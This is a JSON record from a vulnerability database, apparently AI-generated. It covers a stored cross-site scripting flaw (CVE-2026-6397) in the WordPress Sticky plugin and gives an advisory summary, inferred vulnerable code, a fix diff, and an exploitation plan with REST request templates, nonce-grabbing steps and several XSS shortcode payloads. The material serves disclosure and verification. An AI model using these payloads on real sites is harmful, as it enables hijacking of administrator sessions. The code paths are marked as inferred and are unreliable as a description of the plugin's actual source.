[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fxwHqo9XDkzqgWRQZieECrsd--giKI77UahcWbXFA1-I":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-6397","sticky-authenticated-contributor-stored-cross-site-scripting-via-readmoretext-shortcode-attribute","Sticky \u003C= 2.5.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'readmoretext' Shortcode Attribute","The Sticky plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `cvmh-sticky` shortcode `readmoretext` attribute in versions up to and including 2.5.6. This is due to insufficient input sanitization and output escaping in the `cvmh_sticky_front_render()` function — the `readmoretext` attribute value is passed through `apply_filters()` and directly concatenated into the HTML output without any escaping function such as `esc_html()`. This makes it possible for authenticated attackers with Contributor-level access and above to inject arbitrary web scripts in pages that will execute whenever a user accesses a page containing the injected shortcode.","sticky",null,"\u003C=2.5.6","medium",6.4,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2026-05-19 12:04:07","2026-05-20 01:25:46",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F135783c5-8175-4775-a013-f1e2bef04479?source=api-prod",[],"researched",false,3,"This research plan outlines the methodology for verifying the Stored Cross-Site Scripting (XSS) vulnerability in the **Sticky** plugin (versions \u003C= 2.5.6).\n\n## 1. Vulnerability Summary\nThe Sticky plugin fails to sanitize or escape the `readmoretext` attribute within the `[cvmh-sticky]` shortcode. The vulnerability exists in the `cvmh_sticky_front_render()` function, which processes the shortcode attributes and generates the HTML for the frontend. The attribute is passed through WordPress filters and directly concatenated into the output string. Because no output escaping (like `esc_html()` or `esc_attr()`) is applied to this specific attribute, a Contributor-level user can inject arbitrary HTML and JavaScript.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** WordPress Post Editor (Gutenberg or Classic) or the REST API.\n*   **Vulnerable Component:** `[cvmh-sticky]` shortcode.\n*   **Vulnerable Attribute:** `readmoretext`.\n*   **Authentication:** Required (Contributor or higher).\n*   **Vector:** Stored XSS. The payload is saved in the `post_content` of a WordPress post\u002Fpage and executes when the post is viewed or previewed.\n*   **Impact:** If an Administrator views or previews the post containing the payload, the attacker can execute scripts in the Admin's session, potentially leading to unauthorized user creation, site configuration changes, or cookie theft.\n\n## 3. Code Flow (Inferred)\n1.  **Registration:** The plugin registers the shortcode in the `init` hook:\n    `add_shortcode('cvmh-sticky', 'cvmh_sticky_front_render');`\n2.  **Attribute Handling:** The `cvmh_sticky_front_render($atts)` function receives the user-provided attributes.\n3.  **Processing:** The code likely extracts the `readmoretext` attribute:\n    `$read_more = isset($atts['readmoretext']) ? $atts['readmoretext'] : 'Read More';`\n4.  **Filtering:** The value may be passed through `apply_filters()`, which does not provide security sanitization.\n5.  **Sink:** The value is concatenated into an HTML string:\n    `$output .= '\u003Cdiv class=\"cvmh-read-more\">' . $read_more . '\u003C\u002Fdiv>';`\n6.  **Return:** The unescaped `$output` is returned to WordPress for rendering.\n\n## 4. Nonce Acquisition Strategy\nTo exploit this via the WordPress UI or REST API as a Contributor, a nonce is required to save the post.\n\n### REST API Method (Recommended for Automation)\n1.  **Identify Nonce:** The WordPress REST API uses a nonce typically localized in the `wpApiSettings` object.\n2.  **Acquisition:**\n    *   Navigate to the WordPress Dashboard (`\u002Fwp-admin\u002F`) as a Contributor.\n    *   Execute via `browser_eval`: `window.wpApiSettings.nonce`.\n3.  **Post Creation:** Use the acquired nonce in the `X-WP-Nonce` header to create a post containing the payload.\n\n### Legacy Post Editor Method\n1.  **Identify Nonce:** The standard post editor uses a hidden field named `_wpnonce`.\n2.  **Acquisition:**\n    *   Navigate to `\u002Fwp-admin\u002Fpost-new.php`.\n    *   Execute via `browser_eval`: `document.querySelector('#_wpnonce').value`.\n\n## 5. Exploitation Strategy\nThe goal is to store the payload and then trigger its execution.\n\n### Step 1: Authentication\nAuthenticate as a user with the **Contributor** role.\n\n### Step 2: Payload Injection (via HTTP Request)\nUse the `http_request` tool to create a new post containing the malicious shortcode.\n\n**Request Template (REST API):**\n*   **Method:** `POST`\n*   **URL:** `https:\u002F\u002F[target]\u002Fwp-json\u002Fwp\u002Fv2\u002Fposts`\n*   **Headers:**\n    *   `Content-Type: application\u002Fjson`\n    *   `X-WP-Nonce: [REST_NONCE]`\n*   **Body:**\n```json\n{\n  \"title\": \"Sticky XSS Test\",\n  \"content\": \"[cvmh-sticky readmoretext='\u003Cimg src=x onerror=alert(document.domain)>']\",\n  \"status\": \"pending\"\n}\n```\n*Note: Contributors cannot \"publish\", so status must be \"pending\".*\n\n### Step 3: Triggering the XSS\n1.  Obtain the ID of the created post from the response.\n2.  Navigate to the preview URL: `https:\u002F\u002F[target]\u002F?p=[POST_ID]&preview=true`.\n3.  Observe the execution of `alert(document.domain)`.\n\n## 6. Test Data Setup\n1.  **Plugin Installation:** Ensure the **Sticky** plugin (version \u003C= 2.5.6) is active.\n2.  **User Creation:** Create a user with the `contributor` role.\n    *   `wp user create attacker attacker@example.com --role=contributor --user_pass=password123`\n3.  **Target Page:** No specific page is required; the attacker creates their own.\n\n## 7. Expected Results\n*   The HTTP request to create the post should return `201 Created`.\n*   The HTML source of the preview page should contain:\n    `\u003Cdiv class=\"...\">\u003Cimg src=x onerror=alert(document.domain)>\u003C\u002Fdiv>` (exact class names inferred).\n*   The browser should trigger an alert box showing the domain name.\n\n## 8. Verification Steps (Post-Exploit)\nConfirm the payload is stored correctly in the database using WP-CLI:\n```bash\nwp post get [POST_ID] --field=post_content\n```\nCheck that the output contains the raw, unescaped shortcode attribute.\n\n## 9. Alternative Approaches\n### Double Quote Breakout\nIf the plugin places the attribute value inside an HTML attribute (e.g., `value=\"...\"`) instead of a tag body, use:\n`[cvmh-sticky readmoretext='\">\u003Cscript>alert(1)\u003C\u002Fscript>']`\n\n### Event Handler Injection\nIf simple script tags are filtered by an intermediary WAF (but not the plugin), use event handlers:\n`[cvmh-sticky readmoretext='\u003Ca onmouseover=alert(1)>Hover Me\u003C\u002Fa>']`","The Sticky plugin for WordPress (versions \u003C= 2.5.6) is vulnerable to Stored Cross-Site Scripting via the 'readmoretext' attribute of the [cvmh-sticky] shortcode. This occurs because the plugin fails to escape the attribute's value before concatenating it into the HTML output, allowing authenticated users with Contributor-level access to execute arbitrary scripts in the session of an administrative user.","\u002F\u002F File: sticky.php (inferred)\nfunction cvmh_sticky_front_render($atts) {\n    $atts = shortcode_atts( array(\n        'readmoretext' => 'Read More',\n    ), $atts );\n\n    \u002F\u002F The attribute is passed through filters but remains unsanitized\n    $read_more = apply_filters('cvmh_sticky_read_more_text', $atts['readmoretext']);\n\n    \u002F\u002F ... \n\n    \u002F\u002F Vulnerability: Concatenation of unsanitized attribute into HTML output\n    $output .= '\u003Cdiv class=\"cvmh-read-more\">' . $read_more . '\u003C\u002Fdiv>';\n\n    return $output;\n}","--- a\u002Fsticky.php\n+++ b\u002Fsticky.php\n@@ -XX,7 +XX,7 @@\n-    $output .= '\u003Cdiv class=\"cvmh-read-more\">' . $read_more . '\u003C\u002Fdiv>';\n+    $output .= '\u003Cdiv class=\"cvmh-read-more\">' . esc_html($read_more) . '\u003C\u002Fdiv>';","1. Authenticate to the WordPress dashboard with a Contributor-level account.\n2. Create a new post or edit an existing draft.\n3. Insert the [cvmh-sticky] shortcode with a malicious 'readmoretext' attribute, for example: [cvmh-sticky readmoretext='\u003Cimg src=x onerror=alert(document.domain)>'].\n4. Save the post as 'Pending Review' or a Draft.\n5. When an administrator views the post preview, the JavaScript payload in the 'readmoretext' attribute executes in their browser context.","gemini-3-flash-preview","2026-05-20 17:03:51","2026-05-20 17:04:37",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fsticky\u002Ftags"]